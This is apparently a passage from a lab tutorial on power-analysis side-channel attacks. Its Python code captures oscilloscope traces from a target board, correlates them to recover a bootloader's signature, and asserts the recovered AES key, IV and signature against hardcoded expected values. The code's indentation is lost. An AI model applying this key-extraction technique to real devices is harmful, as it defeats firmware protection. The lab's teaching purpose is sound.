time.sleep(0.01)
try:
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')
continue
except IOError as e:
print('IOError: %s' % str(e))
# run aux stuff that should happen after trace here
num_char = target.ser.inWaiting()
response = target.ser.read(num_char)
if ord(response[0]) != 0xA4:
# Bad response, just skip
print("Bad response: {:02X}".format(ord(response[0])))
continue
traces.append(scope.getLastTrace())
mean = np.average(traces, axis=0)
corr = []
for i in range(256):
corr.append(np.corrcoef(mean[18000:20000], traces[i][18000:20000])[0, 1])
btldr_sig[bnum] = np.argsort(corr)[0]
scope.dis()
target.dis()
We've now successfully recovered all of the secrets of the bootloader!
real_btldr_key = [0x94, 0x28, 0x5D, 0x4D, 0x6D, 0xCF, 0xEC, 0x08, 0xD8, 0xAC, 0xDD, 0xF6, 0xBE, 0x25, 0xA4, 0x99, \
0xC4, 0xD9, 0xD0, 0x1E, 0xC3, 0x40, 0x7E, 0xD7, 0xD5, 0x28, 0xD4, 0x09, 0xE9, 0xF0, 0x88, 0xA1]
real_btldr_IV = [0xC1, 0x25, 0x68, 0xDF, 0xE7, 0xD3, 0x19, 0xDA, 0x10, 0xE2, 0x41, 0x71, 0x33, 0xB0, 0xEB, 0x3C]
real_btldr_sig = [0x00, 0xEB, 0x02, 0x1D]
assert (btldr_key == real_btldr_key), "Attack on encryption key failed!\nGot: {}\nExp: {}".format(btldr_key, real_btldr_key)
assert (btldr_IV == real_btldr_IV), "Attack on IV failed!\nGot: {}\nExpected: {}".format(btldr_IV, real_btldr_IV)
assert (btldr_sig == real_btldr_sig), "Attack on signature failed!\nGot: {}\nExpected: {}".format(btldr_sig, real_btldr_sig)